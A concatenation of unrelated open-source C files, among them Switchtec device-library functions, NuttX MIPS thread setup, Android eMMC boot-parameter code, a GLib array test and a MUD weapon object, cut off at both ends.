cmd, const void *payload, size_t payload_len, void *resp, size_t resp_len) { int ret; cmd &= SWITCHTEC_CMD_MASK; cmd |= dev->pax_id << SWITCHTEC_PAX_ID_SHIFT; ret = dev->ops->cmd(dev, cmd, payload, payload_len, resp, resp_len); if (ret > 0) { mrpc_error_cmd = cmd & SWITCHTEC_CMD_MASK; errno |= SWITCHTEC_ERRNO_MRPC_FLAG_BIT; } return ret; } /** * @brief Populate an already retrieved switchtec_status structure list * with information about the devices plugged into the switch * @ingroup Device * @param[in] dev Switchtec device handle * @param[in,out] status List of status structures * @param[in] ports Number of ports (length of the \p status list) * @return 0 on success, negative on failure * * Note: this is only supported on the Linux platform. Other platforms * will silently succeed but not populate any of the devices. */ int switchtec_get_devices(struct switchtec_dev *dev, struct switchtec_status *status, int ports) { if (!dev->ops->get_devices) return 0; return dev->ops->get_devices(dev, status, ports); } /** * @brief Convert a port function index to a partition and port number * @ingroup Misc * @param[in] dev Switchtec device handle * @param[in] pff Port function number * @param[out] partition Partition number * @param[out] port Port number * @return 0 on success, negative on failure */ int switchtec_pff_to_port(struct switchtec_dev *dev, int pff, int *partition, int *port) { return dev->ops->pff_to_port(dev, pff, partition, port); } /** * @brief Convert a partition and port number to a port function index * @ingroup Misc * @param[in] dev Switchtec device handle * @param[in] partition Partition number * @param[in] port Port number * @param[out] pff Port function number * @return 0 on success, negative on failure */ int switchtec_port_to_pff(struct switchtec_dev *dev, int partition, int port, int *pff) { return dev->ops->port_to_pff(dev, partition, port, pff); } /** * @brief Map the GAS and return a pointer to access the gas * @ingroup GAS * @param[in] dev Switchtec device handle * @param[in] writeable Set to non-null to make the region writable * @param[out] map_size Size of the mapped region * @return The mapped region on success, SWITCHTEC_MAP_FAILED on error * * This maps the hardware registers into user memory space. * Needless to say, this can be very dangerous and should only * be done if you know what you are doing. Any register accesses * that use this will remain unsupported by Microsemi unless it's * done within the switchtec user project or otherwise specified. * * \p writeable is only supported on the Linux platform. Other platforms * will always be writeable. * * The gasptr_t must only be accessed with the functions in gas.h. * * The region should always be unmapped with switchtec_gas_unmap(). */ gasptr_t switchtec_gas_map(struct switchtec_dev *dev, int writeable, size_t *map_size) { return dev->ops->gas_map(dev, writeable, map_size); } /** * @brief Unmap the GAS region mapped with * @ingroup GAS * @param[in] dev Switchtec device handle * @param[in] map The mapped region */ void switchtec_gas_unmap(struct switchtec_dev *dev, gasptr_t map) { if (!dev->ops->gas_unmap) return; dev->ops->gas_unmap(dev, map); } /** * @brief Retrieve information about a flash partition * @ingroup Firmware * @param[in] dev Switchtec device handle * @param[out] info Structure to place the result in * @param[in] part Which partition to retrieve * @returns 0 on success, negative on failure */ int switchtec_flash_part(struct switchtec_dev *dev, struct switchtec_fw_image_info *info, enum switchtec_fw_image_part_id_gen3 part) { return dev->ops->flash_part(dev, info, part); } /** * @brief Retrieve a summary of all the events that have occurred in the switch * @ingroup Event * @param[in] dev Switchtec device handle * @param[out] sum Structure to place the result in * @returns 0 on success, negative on failure */ int switchtec_event_summary(struct switchtec_dev *dev, struct switchtec_event_summary *sum) { return dev->ops->event_summary(dev, sum); } /** * @brief Enable, disable and clear events or retrieve event data * @ingroup Event * @param[in] dev Switchtec device handle * @param[in] e Event to operate on * @param[in] index Event index (partition or port, depending on event) * @param[in] flags Any of the SWITCHTEC_EVT_FLAGs * @param[out] data Returned event data reported by the switch * @returns 0 on success, negative on failure */ int switchtec_event_ctl(struct switchtec_dev *dev, enum switchtec_event_id e, int index, int flags, uint32_t data[5]) { return dev->ops->event_ctl(dev, e, index, flags, data); } /** * @brief Wait for any event to occur (typically just an interrupt) * @ingroup Event * @param[in] dev Switchtec device handle * @param[in] timeout_ms Timeout ofter this many milliseconds * @returns 1 if the event occurred, 0 if it timed out, negative in case * of an error */ int switchtec_event_wait(struct switchtec_dev *dev, int timeout_ms) { if (!dev->ops->event_wait) { errno = ENOTSUP; return -errno; } return dev->ops->event_wait(dev, timeout_ms); } /** * @brief Read a uint8_t from the GAS * @param[in] dev Switchtec device handle * @param[in] addr Address to read the value * @return The read value */ uint8_t gas_read8(struct switchtec_dev *dev, uint8_t __gas *addr) { if (dev->pax_id != dev->local_pax_id) return gas_mrpc_read8(dev, addr); return __gas_read8(dev, addr); } /** * @brief Read a uint16_t from the GAS * @param[in] dev Switchtec device handle * @param[in] addr Address to read the value * @return The read value */ uint16_t gas_read16(struct switchtec_dev *dev, uint16_t __gas *addr) { if (dev->pax_id != dev->local_pax_id) return gas_mrpc_read16(dev, addr); return __gas_read16(dev, addr); } /** * @brief Read a uint32_t from the GAS * @param[in] dev Switchtec device handle * @param[in] addr Address to read the value * @return The read value */ uint32_t gas_read32(struct switchtec_dev *dev, uint32_t __gas *addr) { if (dev->pax_id != dev->local_pax_id) return gas_mrpc_read32(dev, addr); return __gas_read32(dev, addr); } /** * @brief Read a uint64_t from the GAS * @param[in] dev Switchtec device handle * @param[in] addr Address to read the value * @return The read value */ uint64_t gas_read64(struct switchtec_dev *dev, uint64_t __gas *addr) { if (dev->pax_id != dev->local_pax_id) return gas_mrpc_read64(dev, addr); return __gas_read64(dev, addr); } /** * @brief Write a uint8_t to the GAS * @param[in] dev Switchtec device handle * @param[in] val Value to write * @param[out] addr Address to write the value */ void gas_write8(struct switchtec_dev *dev, uint8_t val, uint8_t __gas *addr) { if (dev->pax_id != dev->local_pax_id) gas_mrpc_write8(dev, val, addr); __gas_write8(dev, val, addr); } /** * @brief Write a uint16_t to the GAS * @param[in] dev Switchtec device handle * @param[in] val Value to write * @param[out] addr Address to write the value */ void gas_write16(struct switchtec_dev *dev, uint16_t val, uint16_t __gas *addr) { if (dev->pax_id != dev->local_pax_id) gas_mrpc_write16(dev, val, addr); __gas_write16(dev, val, addr); } /** * @brief Write a uint32_t to the GAS * @param[in] dev Switchtec device handle * @param[in] val Value to write * @param[out] addr Address to write the value */ void gas_write32(struct switchtec_dev *dev, uint32_t val, uint32_t __gas *addr) { if (dev->pax_id != dev->local_pax_id) gas_mrpc_write32(dev, val, addr); __gas_write32(dev, val, addr); } /** * @brief Write a uint64_t to the GAS * @param[in] dev Switchtec device handle * @param[in] val Value to write * @param[out] addr Address to write the value */ void gas_write64(struct switchtec_dev *dev, uint64_t val, uint64_t __gas *addr) { if (dev->pax_id != dev->local_pax_id) gas_mrpc_write64(dev, val, addr); __gas_write64(dev, val, addr); } /** * @brief Copy data to the GAS * @param[in] dev Switchtec device handle * @param[out] dest Destination gas address * @param[in] src Source data buffer * @param[in] n Number of bytes to transfer */ void memcpy_to_gas(struct switchtec_dev *dev, void __gas *dest, const void *src, size_t n) { if (dev->pax_id != dev->local_pax_id) gas_mrpc_memcpy_to_gas(dev, dest, src, n); __memcpy_to_gas(dev, dest, src, n); } /** * @brief Copy data from the GAS * @param[in] dev Switchtec device handle * @param[out] dest Destination buffer * @param[in] src Source gas address * @param[in] n Number of bytes to transfer */ void memcpy_from_gas(struct switchtec_dev *dev, void *dest, const void __gas *src, size_t n) { if (dev->pax_id != dev->local_pax_id) gas_mrpc_memcpy_from_gas(dev, dest, src, n); __memcpy_from_gas(dev, dest, src, n); } /** * @brief Call write() with data from the GAS * @param[in] dev Switchtec device handle * @param[in] fd Destination buffer * @param[in] src Source gas address * @param[in] n Number of bytes to transfer */ ssize_t write_from_gas(struct switchtec_dev *dev, int fd, const void __gas *src, size_t n) { if (dev->pax_id != dev->local_pax_id) gas_mrpc_write_from_gas(dev, fd, src, n); return __write_from_gas(dev, fd, src, n); }
261648.c
/**************************************************************************** * arch/mips/src/mips32/up_initialstate.c * * Copyright (C) 2011 Gregory Nutt. All rights reserved. * Author: Gregory Nutt <[email protected]> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name NuttX nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ /**************************************************************************** * Included Files ****************************************************************************/ #include <nuttx/config.h> #include <sys/types.h> #include <stdint.h> #include <string.h> #include <nuttx/arch.h> #include <arch/irq.h> #include <arch/mips32/cp0.h> #include "up_internal.h" #include "up_arch.h" /**************************************************************************** * Public Functions ****************************************************************************/ /**************************************************************************** * Name: up_initial_state * * Description: * A new thread is being started and a new TCB * has been created. This function is called to initialize * the processor specific portions of the new TCB. * * This function must setup the initial architecture registers * and/or stack so that execution will begin at tcb->start * on the next context switch. * ****************************************************************************/ void up_initial_state(struct tcb_s *tcb) { struct xcptcontext *xcp = &tcb->xcp; uint32_t regval; /* Initialize the initial exception register context structure */ memset(xcp, 0, sizeof(struct xcptcontext)); /* Save the initial stack pointer. Hmmm.. the stack is set to the very * beginning of the stack region. Some functions may want to store data on * the caller's stack and it might be good to reserve some space. However, * only the start function would do that and we have control over that one. */ xcp->regs[REG_SP] = (uint32_t)tcb->adj_stack_ptr; /* Save the task entry point */ xcp->regs[REG_EPC] = (uint32_t)tcb->start; /* If this task is running PIC, then set the PIC base register to the * address of the allocated D-Space region. */ #ifdef CONFIG_PIC # warning "Missing logic" #endif /* Set privileged- or unprivileged-mode, depending on how NuttX is * configured and what kind of thread is being started. * * If the kernel build is not selected, then all threads run in * privileged thread mode. */ #ifdef CONFIG_BUILD_KERNEL # warning "Missing logic" #endif /* Set the initial value of the status register. It will be the same * as the current status register with some changes: * * 1. Make sure the IE is set * 2. Clear the BEV bit (This bit should already be clear) * 3. Clear the UM bit so that the new task executes in kernel mode * (This bit should already be clear) * 4. Set the interrupt mask bits (depending on configuration) * 5. Set the EXL bit (This will not be set) * * The EXL bit is set because this new STATUS register will be * instantiated in kernel mode inside of an interrupt handler. EXL * will be automatically cleared by the eret instruction. */ regval = cp0_getstatus(); #ifdef CONFIG_SUPPRESS_INTERRUPTS regval &= ~(CP0_STATUS_IM_ALL | CP0_STATUS_BEV | CP0_STATUS_UM); regval |= (CP0_STATUS_IE | CP0_STATUS_EXL | CP0_STATUS_IM_SWINTS); #else regval &= ~(CP0_STATUS_BEV | CP0_STATUS_UM); regval |= (CP0_STATUS_IE | CP0_STATUS_EXL | CP0_STATUS_IM_ALL); #endif xcp->regs[REG_STATUS] = regval; }
549605.c
/* $OpenBSD: fpgetround.c,v 1.4 2013/01/05 11:20:55 miod Exp $ */ /* * Written by J.T. Conklin, Apr 10, 1995 * Public domain. * Ported to 88k by Nivas Madhur. */ #include <ieeefp.h> fp_rnd fpgetround() { int x; __asm__ volatile ("fldcr %0, %%fcr63" : "=r" (x)); return (x >> 14) & 0x03; }
397237.c
/* * Copyright (C) 2014 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include "libboot.h" #include "libmmc.h" #include "sunxi_boot_api.h" #include "private_uboot.h" #include "private_boot0.h" #include "private_toc.h" #define LIBOOT_EMMC_DEBUG static int copy_mmc_info(void *in, void *out, u32 length) { if ((in == NULL) || (out == NULL) || (length < sizeof(struct boot_sdmmc_private_info_t))) { bb_debug("%s %d:wrong input arg\n", __func__, __LINE__); return -1; } /* *----- normal * offset 0~127: boot0 struct _boot_sdcard_info_t; * offset 128~255: struct tune_sdly, timing * parameter for speed mode and frequency *----- secure * offset 128 ~ (224=384-160): * struct tune_sdly, timing * rameter for speed mode and * frequency * sizeof(priv_info) is about 60 bytes. * * */ memcpy((void *)((unsigned char*)out + SDMMC_PRIV_INFO_ADDR_OFFSET), (void *)((unsigned char*)in + SDMMC_PRIV_INFO_ADDR_OFFSET), sizeof(struct boot_sdmmc_private_info_t)); #if defined(LIBOOT_EMMC_DEBUG) { u32 i, *p; printf("out buffer\n"); p = (u32 *)((unsigned char *)out + SDMMC_PRIV_INFO_ADDR_OFFSET); for (i = 0; i < sizeof(struct boot_sdmmc_private_info_t)/4; i++) printf("%d %x\n", i, p[i]); } { u32 i, *p; printf("int buffer\n"); p = (u32 *)((unsigned char *)in + SDMMC_PRIV_INFO_ADDR_OFFSET); for (i = 0; i < sizeof(struct boot_sdmmc_private_info_t)/4; i++) printf("%d %x\n", i, p[i]); } #endif return 0; } static int read_mmc_parameter(void *buffer, void *param, void *item_name) { struct sbrom_toc0_config *toc0_config = NULL; boot0_file_head_t *boot0_file = NULL; char *old_param = NULL; toc0_private_head_t * toc0_head = NULL; if (!buffer || !param) return -1; if (check_soc_is_secure() == 0) { boot0_file = (boot0_file_head_t *)buffer; old_param = (char *)(boot0_file->prvt_head.storage_data); copy_mmc_info(old_param, param, 256); } else { toc0_head = (toc0_private_head_t *)buffer; if (toc0_head->items_nr == 2) { toc0_config = (struct sbrom_toc0_config *)((char *)buffer + 0x80); } else { toc0_config = (struct sbrom_toc0_config *)((char *)buffer + 0xa0); } old_param = (char *)((char *)toc0_config->storage_data + 160); copy_mmc_info(old_param, param, 384 - 160); } return 0; } static int sync_mmc_parameter(void *buffer, void *param, void *item_name) { toc0_private_head_t *toc0_head = NULL; struct sbrom_toc0_config *toc0_config = NULL; boot0_file_head_t *boot0_file = NULL; char *old_param = NULL; if (!buffer || !param) return -1; if (check_soc_is_secure() == 0) { boot0_file = (boot0_file_head_t *)buffer; old_param = (char *)(boot0_file->prvt_head.storage_data); /*modify mmc data, mabye this is restore*/ copy_mmc_info(param, old_param, STORAGE_BUFFER_SIZE); boot0_file->boot_head.check_sum = generate_check_sum(buffer, boot0_file->boot_head.length, boot0_file->boot_head.check_sum); } else { toc0_head = (toc0_private_head_t *)buffer; if (toc0_head->items_nr == 2) { toc0_config = (struct sbrom_toc0_config *)((char *)buffer + 0x80); } else { toc0_config = (struct sbrom_toc0_config *)((char *)buffer + 0xa0); } old_param = (char *)((char *)toc0_config->storage_data + 160); /*modify mmc data, mabye this is restore*/ copy_mmc_info(param, old_param, 384-160); toc0_head->check_sum = generate_check_sum(buffer, toc0_head->length, toc0_head->check_sum); } return 0; } //FIX ME static int burn_mmc_parameter(void *cookie, void *in, void *item) { int ret = -1; BufferExtractCookie *out_cookie = NULL; BufferExtractCookie *in_cookie = NULL; if (!cookie || !in || !item) return -1; out_cookie = (BufferExtractCookie *)cookie; in_cookie = (BufferExtractCookie *)in; if ((out_cookie->buffer == NULL) || (in_cookie->buffer == NULL)) return -1; if ((in_cookie->len > 0) && (in_cookie->len <= out_cookie->len)) { memcpy(out_cookie->buffer, in_cookie->buffer, in_cookie->len); ret = sync_mmc_parameter(out_cookie->buffer, item, NULL); } return ret; } int libboot_read_mmc_param(void *out) { return libboot_read_boot(read_mmc_parameter, out, BOOT0, NULL); } int libboot_burn_mmc_para(void *in, void *param) { return libboot_burn_boot(burn_mmc_parameter, in, BOOT0, param); }
178827.c
/* GLIB - Library of useful routines for C programming * Copyright (C) 1995-1997 Peter Mattis, Spencer Kimball and Josh MacDonald * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the * Free Software Foundation, Inc., 59 Temple Place - Suite 330, * Boston, MA 02111-1307, USA. */ /* * Modified by the GLib Team and others 1997-2000. See the AUTHORS * file for a list of people on the GLib Team. See the ChangeLog * files for a list of changes. These files are distributed with * GLib at ftp://ftp.gtk.org/pub/gtk/. */ #undef G_DISABLE_ASSERT #undef G_LOG_DOMAIN #include <stdio.h> #include <string.h> #include "glib.h" int array[10000]; gboolean failed = FALSE; #define TEST(m,cond) G_STMT_START { failed = !(cond); \ if (failed) \ { if (!m) \ g_print ("\n(%s:%d) failed for: %s\n", __FILE__, __LINE__, ( # cond )); \ else \ g_print ("\n(%s:%d) failed for: %s: (%s)\n", __FILE__, __LINE__, ( # cond ), (gchar*)m); \ } \ else \ g_print ("."); fflush (stdout); \ } G_STMT_END #define C2P(c) ((gpointer) ((long) (c))) #define P2C(p) ((gchar) ((long) (p))) #define GLIB_TEST_STRING "el dorado " #define GLIB_TEST_STRING_5 "el do" typedef struct { guint age; gchar name[40]; } GlibTestInfo; int main (int argc, char *argv[]) { gint i; GArray *garray; GPtrArray *gparray; GByteArray *gbarray; /* array tests */ garray = g_array_new (FALSE, FALSE, sizeof (gint)); for (i = 0; i < 10000; i++) g_array_append_val (garray, i); for (i = 0; i < 10000; i++) g_assert (g_array_index (garray, gint, i) == i); g_array_free (garray, TRUE); garray = g_array_new (FALSE, FALSE, sizeof (gint)); for (i = 0; i < 100; i++) g_array_prepend_val (garray, i); for (i = 0; i < 100; i++) g_assert (g_array_index (garray, gint, i) == (100 - i - 1)); g_array_free (garray, TRUE); /* pointer arrays */ gparray = g_ptr_array_new (); for (i = 0; i < 10000; i++) g_ptr_array_add (gparray, GINT_TO_POINTER (i)); for (i = 0; i < 10000; i++) if (g_ptr_array_index (gparray, i) != GINT_TO_POINTER (i)) g_print ("array fails: %p ( %p )\n", g_ptr_array_index (gparray, i), GINT_TO_POINTER (i)); g_ptr_array_free (gparray, TRUE); /* byte arrays */ gbarray = g_byte_array_new (); for (i = 0; i < 10000; i++) g_byte_array_append (gbarray, (guint8*) "abcd", 4); for (i = 0; i < 10000; i++) { g_assert (gbarray->data[4*i] == 'a'); g_assert (gbarray->data[4*i+1] == 'b'); g_assert (gbarray->data[4*i+2] == 'c'); g_assert (gbarray->data[4*i+3] == 'd'); } g_byte_array_free (gbarray, TRUE); return 0; }
570387.c
struct ListNode { int val; struct ListNode *next; }; #ifndef NULL #define NULL ((struct ListNode *)0) #endif struct ListNode *reverseBetween(struct ListNode *head, int m, int n) { if (!head || !head->next) return(head); struct ListNode *ptr, *prev, *revptr, *next, *revtail; int i; ptr = head; prev = NULL; for (i = 1; i < m; i++) { prev = ptr; ptr = ptr->next; } revptr = NULL; revtail = next = ptr; for (i = m; i <= n; i++) { ptr = next; next = next->next; ptr->next = revptr; revptr = ptr; } if (!prev) head = revptr; else prev->next = revptr; revtail->next = next; return(head); } int main(void) {}
804131.c
//essy: Nov 2016 #include <std.h>; #include <daemons.h> #include <magic.h> inherit "/d/common/obj/weapon/giant_battle_axe.c"; create() { ::create(); set_id(({ "axe","giant axe","giant battle axe","battle axe","weapon","Weapon","great axe" })); set_name("minotaur great axe"); set_short("%^BOLD%^%^BLACK%^Minotaur Great-Axe%^RESET%^"); set_obvious_short("%^BOLD%^%^BLACK%^Giant Steel Axe%^RESET%^"); set_long("%^BOLD%^%^BLACK%^This great-axe is immense. Even large creatures, such a firbolgs and minotaurs "+ "would need two hands two wield this weapon. The %^RESET%^axe head %^BOLD%^%^BLACK%^shaped like a oversized "+ "helbart had and at least 3 inches thick. The majority of the %^RESET%^axe head %^BOLD%^%^BLACK%^is made from "+ "p%^WHITE%^o%^BLACK%^l%^WHITE%^i%^BLACK%^sh%^WHITE%^e%^BLACK%^d st%^WHITE%^ee%^BLACK%^l except for the core "+ "which is made from %^BLUE%^cold-iron%^BLACK%^. On each side of the axe head, a carving of a "+ "%^RESET%^%^ORANGE%^minotaurs head %^BOLD%^%^BLACK%^is seen, with %^RED%^rubies %^BLACK%^for eyes and "+ "%^RESET%^%^MAGENTA%^onyx %^BOLD%^%^BLACK%^for nostrils.%^RESET%^"); set_lore("This can only be the fabled Labyrinth Great-Axe. This weapon is said to be as old as the "+ "Minotaur race itself and granted to the first Minotaur as weapon while guarding a unknown labyrinth. "+ "While the weapon is impressive on it's own, it is said to be a terror to behold in the hands of a Minotaur."); set_value(3000); set_property("lore difficulty",20); set_property("enchantment",3+random(2)); set_property("attack bonus",2); set_property("attack bonus",2); set_hit((:TO,"smackit":)); set_wield((:TO,"wieldit":)); } int wieldit(){ if((int)ETO->query_level() < 20){ tell_object(ETO,"%^BOLD%^%^RED%^This weapon is far too powerful for one such as you!"); tell_room(EETO,ETO->QCN+"%^BOLD%^%^RED%^ seem to have problems even lifting the weapon!",ETO); return 0; } if((string)ETO->query_race() == "minotaur"){ set_property("damage bonus",4); tell_object(ETO,"%^BOLD%^%^RED%^You feel adrenaline rushing though you as you wield the axe"); tell_room(EETO,ETO->QCN+"'s %^BOLD%^%^RED%^muscles tenses and flexes as "+ETO->QS+" wields the weapon",ETO); return 1; } tell_object(ETO,"%^BOLD%^%^BLACK%^You can't help but admire the axes steel edge"); tell_room(EETO,"%^BOLD%^%^BLACK%^The axes steel edge glisten sharply as "+ETO->QCN+" wields it",ETO); return 1; } int smackit(object targi){ object myspl; if(!objectp(TO)) return 1; if(!objectp(ETO)) return 1; if(!objectp(targi)) return 1; //if((string)ETO->query_race == "minotaur"){} if(random(1000) < 150) { switch(random(20)){ case 0..4: if((string)ETO->query_race() == "minotaur"){ if((int)targi->query_hp() < roll_dice(5,10)+50){ tell_object(ETO,"%^RESET%^%^RED%^With a mighty strike you %^BOLD%^%^BLACK%^execute%^RESET%^%^RED%^ your foe!"); tell_object(targi,"%^RED%^With one strike "+ETO->QCN+" %^BOLD%^%^BLACK%^executed%^RESET%^%^RED%^ you!",ETO); tell_room(EETO,ETO->QCN+" execute "+targi->QCN+" with a single strike!",({ETO,targi})); targi->set_hp(roll_dice(100,100)*(-1)); break; } tell_object(ETO,"%^RESET%^%^RED%^With a mighty strike you nearly %^BOLD%^%^BLACK%^execute%^RESET%^%^RED%^ your foe!"); tell_object(targi,ETO->QCN+"%^RESET%^%^RED%^tries to %^BOLD%^%^BLACK%^execute%^RESET%^%^RED%^ you with a single strike!",ETO); tell_room(EETO,ETO->QCN+" tries to execute "+targi->QCN+" with one strike!",({ETO,targi})); targi->do_damage(targi->return_target_limb(),roll_dice(3,5)+5); targi->set_paralized(roll_dice(2,8)+4,"That blow really hurt!"); break; } tell_object(ETO,"%^BOLD%^%^BLACK%^You collect all your strength in a strike against "+targi->QCN); tell_object(targi,ETO->QCN+"%^BOLD%^%^BLACK%^ grunts as "+ETO->QS+"%^BOLD%^%^BLACK%^ collect all "+ETO->QP+"%^BOLD%^%^BLACK%^ strength in his attack",ETO); tell_room(EETO,ETO->QCN+" %^BOLD%^%^BLACK%^grunts as "+ETO->QP+"%^BOLD%^%^BLACK%^ collects all his strength in the strike against "+targi->QCN,({ETO,targi})); targi->do_damage(targi->return_target_limb(),roll_dice(2,8)+4); break; case 5..14: if((string)ETO->query_race() == "minotaur") { tell_object(ETO,"%^GREEN%^Smell of %^RED%^blood %^GREEN%^reaches you nose as your axe tear "+targi->QCN); tell_object(targi,"%^GREEN%^Your %^RED%^blood%^GREEN%^ sprays as "+ETO->QCN+"'s%^GREEN%^ axe tear into you!",ETO); tell_room(EETO,targi->QCN+"'s blood sprays as "+ETO->QCN+"'s axe tears into "+targi->QO,({ETO,targi})); set_property("magic",1); targi->do_damage(targi->return_target_limb(),roll_dice(3,4)+2); ETO->do_damage("torso",roll_dice(4,5)*(-1)); set_property("magic",-1); break; } tell_object(ETO,"%^BOLD%^%^YELLOW%^Your %^BLACK%^steel axe%^YELLOW%^ bites deep into "+targi->QCN); tell_object(targi,ETO->QCN+"'s %^BOLD%^%^BLACK%^steel axe%^YELLOW%^ bites deep into you!",ETO); tell_room(EETO,ETO->QCN+"'s %^BOLD%^%^BLACK%^steel axe%^YELLOW%^ bites deep into "+targi->QCN,({ETO,targi})); set_property("magic",1); targi->do_damage(targi->return_target_limb(),roll_dice(2,4)+2); set_property("magic",-1); break; case 15..19: if((string)ETO->query_race() == "minotaur") { if((int)targi->query_stoneSkinned() > 0){ while(objectp(myspl = MAGIC_D->get_spell_from_array(targi->query_property("spelled"),"iron body"))) { remove_property_value("spelled", ({myspl})); myspl->dest_effect(); } while(objectp(myspl = MAGIC_D->get_spell_from_array(targi->query_property("spelled"),"stoneskin"))) { remove_property_value("spelled", ({myspl})); myspl->dest_effect(); } tell_object(ETO,"%^BOLD%^%^WHITE%^The %^BLACK%^steel axe%^WHITE%^ glows bright as it cuts through "+targi->QCN+"'s %^BOLD%^%^WHITE%^protetive spell!"); tell_object(targi,ETO->QCN+"'s%^BOLD%^%^BLACK%^ steel axe%^WHITE%^ glows bright as it cuts through your protective spell!",ETO); tell_room(EETO,ETO->QCN+"'s %^BOLD%^%^BLACK%^steel axe%^WHITE%^ glows bright as it cuts through "+targi->QCN+"'s%^BOLD%^%^WHITE%^ protective spell!",({ETO,targi})); } } tell_object(ETO,"%^BOLD%^%^BLACK%^The steel axe%^WHITE%^ glows bright as it cleaves through "+targi->QCN); tell_object(targi,ETO->QCN+"'s %^BOLD%^%^BLACK%^steel axe %^WHITE%^glows bright as it cleaves you!",ETO); tell_room(EETO,ETO->QCN+"'s %^BOLD%^%^BLACK%^steel axe%^WHITE%^ glows bright as it cleaves "+targi->QCN,({ETO,targi})); set_property("magic",1); targi->do_damage(targi->return_target_limb(),roll_dice(5,5)+5); set_property("magic",-1); break; } return 1; } }
591549.c
/******************************************************************************* * File Name: UART_SCB_IRQ.c * Version 1.70 * * Description: * API for controlling the state of an interrupt. * * * Note: * ******************************************************************************** * Copyright 2008-2015, Cypress Semiconductor Corporation. All rights reserved. * You may use this file only in accordance with the license, terms, conditions, * disclaimers, and limitations in the end user license agreement accompanying * the software package with which this file was provided. *******************************************************************************/ #include <cydevice_trm.h> #include <CyLib.h> #include <UART_SCB_IRQ.h> #if !defined(UART_SCB_IRQ__REMOVED) /* Check for removal by optimization */ /******************************************************************************* * Place your includes, defines and code here ********************************************************************************/ /* `#START UART_SCB_IRQ_intc` */ /* `#END` */ extern cyisraddress CyRamVectors[CYINT_IRQ_BASE + CY_NUM_INTERRUPTS]; /* Declared in startup, used to set unused interrupts to. */ CY_ISR_PROTO(IntDefaultHandler); /******************************************************************************* * Function Name: UART_SCB_IRQ_Start ******************************************************************************** * * Summary: * Set up the interrupt and enable it. This function disables the interrupt, * sets the default interrupt vector, sets the priority from the value in the * Design Wide Resources Interrupt Editor, then enables the interrupt to the * interrupt controller. * * Parameters: * None * * Return: * None * *******************************************************************************/ void UART_SCB_IRQ_Start(void) { /* For all we know the interrupt is active. */ UART_SCB_IRQ_Disable(); /* Set the ISR to point to the UART_SCB_IRQ Interrupt. */ UART_SCB_IRQ_SetVector(&UART_SCB_IRQ_Interrupt); /* Set the priority. */ UART_SCB_IRQ_SetPriority((uint8)UART_SCB_IRQ_INTC_PRIOR_NUMBER); /* Enable it. */ UART_SCB_IRQ_Enable(); } /******************************************************************************* * Function Name: UART_SCB_IRQ_StartEx ******************************************************************************** * * Summary: * Sets up the interrupt and enables it. This function disables the interrupt, * sets the interrupt vector based on the address passed in, sets the priority * from the value in the Design Wide Resources Interrupt Editor, then enables * the interrupt to the interrupt controller. * * When defining ISR functions, the CY_ISR and CY_ISR_PROTO macros should be * used to provide consistent definition across compilers: * * Function definition example: * CY_ISR(MyISR) * { * } * Function prototype example: * CY_ISR_PROTO(MyISR); * * Parameters: * address: Address of the ISR to set in the interrupt vector table. * * Return: * None * *******************************************************************************/ void UART_SCB_IRQ_StartEx(cyisraddress address) { /* For all we know the interrupt is active. */ UART_SCB_IRQ_Disable(); /* Set the ISR to point to the UART_SCB_IRQ Interrupt. */ UART_SCB_IRQ_SetVector(address); /* Set the priority. */ UART_SCB_IRQ_SetPriority((uint8)UART_SCB_IRQ_INTC_PRIOR_NUMBER); /* Enable it. */ UART_SCB_IRQ_Enable(); } /******************************************************************************* * Function Name: UART_SCB_IRQ_Stop ******************************************************************************** * * Summary: * Disables and removes the interrupt. * * Parameters: * None * * Return: * None * *******************************************************************************/ void UART_SCB_IRQ_Stop(void) { /* Disable this interrupt. */ UART_SCB_IRQ_Disable(); /* Set the ISR to point to the passive one. */ UART_SCB_IRQ_SetVector(&IntDefaultHandler); } /******************************************************************************* * Function Name: UART_SCB_IRQ_Interrupt ******************************************************************************** * * Summary: * The default Interrupt Service Routine for UART_SCB_IRQ. * * Add custom code between the START and END comments to keep the next version * of this file from over-writing your code. * * Note You may use either the default ISR by using this API, or you may define * your own separate ISR through ISR_StartEx(). * * Parameters: * None * * Return: * None * *******************************************************************************/ CY_ISR(UART_SCB_IRQ_Interrupt) { #ifdef UART_SCB_IRQ_INTERRUPT_INTERRUPT_CALLBACK UART_SCB_IRQ_Interrupt_InterruptCallback(); #endif /* 